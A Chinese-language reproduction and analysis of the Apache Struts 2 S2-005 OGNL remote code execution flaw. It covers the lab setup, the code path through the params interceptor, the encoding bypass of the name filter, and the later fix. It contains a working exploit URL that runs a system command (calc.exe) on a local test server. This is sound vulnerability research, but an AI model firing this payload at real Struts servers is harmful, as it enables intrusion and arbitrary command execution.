S2-005復現分析
一、漏洞資訊
漏洞資訊頁面:
S2-005 - Apache Struts 2 Wiki - Apache Software Foundation
漏洞編號:
漏洞型別:
RCE(遠端程式碼執行)
受影響元件:
Struts 2.0.0 - Struts 2.1.8.1
漏洞成因:
XWork使用OGNL表示式將GET引數的鍵和值解析為Java語句
user.address.city=Bishkek&user['favoriteDrink']=kumys
//It will be converted to
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
二、環境搭建
IDE:Eclipse IDE for Enterprise Java and Web Developers
Java:JDK1.8
Tomcat:8.5.14
Struts:2.1.8.1(https://github.com/vulhub/vulhub/struts/s2-005)
三、漏洞利用
執行命令,彈計算器payload
http://127.0.0.1:8080/S2-005/example/HelloWorld.action? ('\u0023_memberAccess[\'allowStaticMethodAccess\']')(vaaa)=true&(aaaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023vccc')(\u0023vccc\u003dnew java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec("calc.exe".split("@"))')(\u0023rt\[email protected]@getRuntime()))=1 \u0023 ==> # \u003d ==> =
Ognl表示式解析參考:S2-005 遠端程式碼執行漏洞檢測與利用_Fly_鵬程萬里-CSDN部落格_s2-005
Payload中的攻擊程式碼有兩個形式,一種是(expression)(constant)=value
,一種是(constant)((expression1)(expression2))
。
Ognl解析引擎是這樣處理的,每個括號對應語法樹上的一個分支,並且從最右邊的葉子節點開始解析執行。
總結:
(1)(expression)(constant)=value 會執行 expression=value。
(2)(constant)((expression1)(expression2)) 會先執行expression2,然後再執行expression1。
四、漏洞分析
找到params攔截器所在類,在doIntercept()函式中下斷點。開始除錯,web頁面請求帶有payload的url。
執行到setParameters,該函式根據請求引數設定action,步入函式。
呼叫setDenyMethodExecution向context中新增xwork.MethodAccessor.denyMethodExecution=true,禁止在引數中呼叫任意方法
在setParameters中呼叫acceptableName
在acceptableName中呼叫了兩個方法對引數名進行過濾
isAccepted中會對paraName進行正則匹配,\p{Graph}
為匹配任何可見字元。不允許paraName帶有,#:=
。由於只是簡單的匹配這幾個字元,導致可以通過編碼繞過此處的過濾。
isExcluded
通過isAccepted驗證後將引數及值存放在acceptableParameters
跟進到newStack.setValue,此處for迴圈遍歷GET引數的鍵值對。
步入setValue函式,使用ognlUtil.setValue,步入函式。
ognlUtil.setValue中又呼叫了n.setValue,步入函式
跟進到evaluateSetValueBody,步入函式
跟進setValueBody
呼叫getvalue解析ognl表示式,並通過node.setValue將#_memberAccess['allowStaticMethodAccess']
賦值為true
五、漏洞修復
新版本將isAccepted函式中的正則匹配替換為了如下表達式,輸入字元需要通過正則匹配。\#,;
等不包含其中的特殊字元將無法通過驗證。
private String acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";
參考連結
https://www.anquanke.com/post/id/254809
https://blog.csdn.net/Fly_hps/article/details/85000125